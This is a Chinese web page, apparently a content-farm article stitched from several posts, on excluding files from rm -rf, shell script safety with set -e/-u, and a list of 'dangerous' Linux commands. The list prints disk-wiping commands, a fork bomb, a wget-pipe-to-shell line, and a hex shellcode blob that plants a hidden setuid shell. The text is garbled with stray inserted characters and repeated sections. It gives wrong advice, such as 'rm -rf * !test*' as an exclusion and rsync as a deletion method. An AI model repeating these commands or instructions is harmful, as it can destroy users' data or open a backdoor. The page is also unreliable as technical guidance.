Linux中执行rm -rf时如何排除文件或目录
在Linux中,rm命令是一种删除文件和目录的常用命令。使用rm命令可以彻底删除文件和目录,包括其所有子目录和文件。但是,如果不小心执行了rm -rf命令,会导致误删文件或目录。因此,在删除文件和目录时,可以使用一些选项来排除不需要删除的文件或目录,避免误删。
本文将介绍在Linux中执行rm -rf时如何排除文件或目录的方法。
1. 使用通配符
通配符是一种可以匹配多个字符或目录,将其作为参数传递给rm命令,可以实现排除不需要删除的文件或目录的效果。
比如,如果想要删除当前目录下所有文件,但是不删除当前目录中以“test”开头的文件,可以使用*通配符和!排除符号,命令如下:
“`
rm -rf * !test*
“`
上述命令将删除当前目录下所有文件,但是不删除以“test”开头的文件。
2. 使用find命令
find命令可以在文件和目录中查找文件,并执行一些操作,例如删除文件或目录。通过在find命令中使用-exec选项,可以将删除命令作为参数传递到find命令中,并在查找到的文件或目录上执行。
比如,如果想要删除当前目录下所有文件,但是不删除当前目录中以“test”开头的文件,可以使用find命令,命令如下:
“`
find . -type f ! -name ‘test*’ -exec rm {} +
“`
上述命令将查找当前目录中不以“test”开头的所有文件,并删除它们。
3. 使用rsync命令
rsync命令是一种用于同步文件和目录的命令。与其他命令不同,rsync命令可以将文件和目录从一个位置复制到另一个位置,并跳过指定的文件或目录。
比如,如果想要删除当前目录下所有文件,但是不删除当前目录中以“test”开头的文件,可以使用rsync命令,命令如下:
“`
rsync -av –exclude=’test*’ /path/to/source/* /path/to/destination/
“`
上述命令将复制当前目录中不以“test”开头的所有文件到目标文件夹,并且不会复制以“test”开头的文件。
在Linux中,执行rm命令时,可能会误删文件或目录。为了避免这种情况,可以使用通配符、find命令或rsync命令来排除不需要删除的文件或目录。这些方法可以帮助用户安全而高效地删除文件或目录,避免误删的情况。
成都网站建设公司-创新互联,建站经验丰富以策略为先导10多年以来专注数字化网站建设,提供企业网站建设,高端网站设计,响应式网站制作,设计师量身打造品牌风格,热线:028-86922220上周刚经历了一个“删库跑路”的惨重事件,不知哪位无邪的童鞋把Confluence 的数据存储目录 /var 清空了,结果群众的怒火燃烧上了天空
这次结合自己的一些思考来记录一些有关脚本安全的点
先来看一个简单携侍的案例
在用户主目录下创建safe目录及相关文件用于测试演示
假如写一段脚本删除safe目录下所有文件:
这段是不是看起来没有问题,但如果由于有些大心告隐弊脏的同学粗心,写成下面这样
最终,脚本都变成了rm -rf * ,可怕至极
其实在shell脚本当中,为了防止这种现象,我们可以借助set 命令来实现相关控制
关于set 命令有较多参数,这里介绍最常用的几个
我们以刚才图4那段有问题的脚本说事
为保证不错删东西 ,我们加一个set -u 选项 ,判断变量是否存在
我们执行一下,看看效果
看,报错啦,dir这个变量没有声明,ls 查看一下文件,发现都还存在
set -e 与set -u 通常搭配在一起使用
一个是遇到错误退出,一个是发现空变量报错
这两个搭配在一起放在脚本里可以防止一些变量为空导致文件全被清空的问题
拓展一下:
如果只想应用在脚本的某一段中,那么
开始段落前加set -e 表示范围开始
结束段落后加 set +e 表示范围结束
set -x 与set + x同袜族理。
1、删文件其实不用rm -rf ,不是受迫性需要,不要使用rm -rf
2、修改、删除系统文件或其他重要的东西,先备份一份
3、非特殊需要,不建议在root下操作,普通用户即可
4、脚本加上set -e 与set -u保证安全
linux下使用rm删除目录文件时不用提示,可以使用rm -rf命令。
例如删除test目录,可以使用命令rm -rf test。
例如删除test.txt文件,可以使用命令rm -rf test.text。
f参数 (f –force ) 表示忽略不存在的文件,不显示任何信息。
-r, -R, –recursive 好睁贺 指示rm将参数中列出的全部目录和子目录均递归地删除友派。
扩展资料
linux下rm命令的参数介绍:
-f, –force 忽略不存在的文件,从不给出提示。
-i, –interactive 进行交互式删除。
-r, -R, –recursive 指示rm将参数中列出的全部目录和子目录均递归地删除。
-v, –verbose 详细显示进行的早厅步骤。
–help 显示此帮助信息并退出。
–version 输出版本信息并退出。
1. Code:
rm -rf /
这个很简单,根目录会被擦光。
2. Code:
char esp __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
没看懂?呵呵,其实就是16进制的.
3. Code:
mkfs.ext3 /dev/sda
抹盘行为无疑是危险的。
4. Code:
:();:
这不是90后的表情,也不是托蒂射点球前的表滑坦情,它可以让你的系统迅速因为处理大量数据而死机。用此条命令测试后无反应呢?
5. Code:
any_command > /dev/sda
这个命令将会写入大量的RAW数据,可以导致数据丢失。
执行 ls > /dev/sda 后无法进入系统,你可以试试哦
6. Code:
wget some_untrusted_source -O- | sh
和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险。
7. Code:
mv /home/信扮桐yourhomedirectory/* /dev/null
这条命令无疑会让系统抓狂,缺余你的主目录会再也看不到。
这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式,仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹,甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/:强制删除根目录下所有东西
rm-rf/*:强制删除当前目录的所有文件
rm-rf.:强制删除当前文件夹及其子文件
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为’:’的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 >/dev/sda
上列命令会将某个’命令’的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个’文件夹’到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
5、wget
-O- | sh
上面这个洞春携命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会执行下载下来的脚本。
温馨提示:你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备’sda’,你无疑知道在执行上列命令后你的块设备会被格式化,崭新的。没有任何数据,直接让你的系统达到不可恢复的阶段。
7、> file
上面命令常用来清空森郑文件内容,如果用上列执行时输入错误或无知的纳伏输入类似“> xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然,你的系统可能陷入混乱和不可恢复的状态。
1. Code:
rm -rf /
这个很简单,敬腔迟根目录会被擦光。
2. Code:
char esp __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
没看懂?呵呵,其实就是亮李16进制的圆凳.
3. Code:
mkfs.ext3 /dev/sda
抹盘行为无疑是危险的。
linux rm rf 排除的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于linux rm rf 排除,Linux中执行rm rf时如何排除文件或目录,Linux篇:从rm -rf 引发的脚本安全闲聊(set 命令),请教在linux 怎么用rm 删除目录和文件.不要提示,LINUX系统有哪些危险命令的信息别忘了在本站进行查找喔。
成都网站建设选创新互联(☎:028-86922220),专业从事成都网站制作设计,高端小程序APP定制开发,成都网络营销推广等一站式服务。
分享名称:Linux中执行rmrf时如何排除文件或目录(linuxrmrf排除)
文章网址:http://www.csdahua.cn/qtweb/news49/447449.html
网站建设、网络推广公司-快上网,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 快上网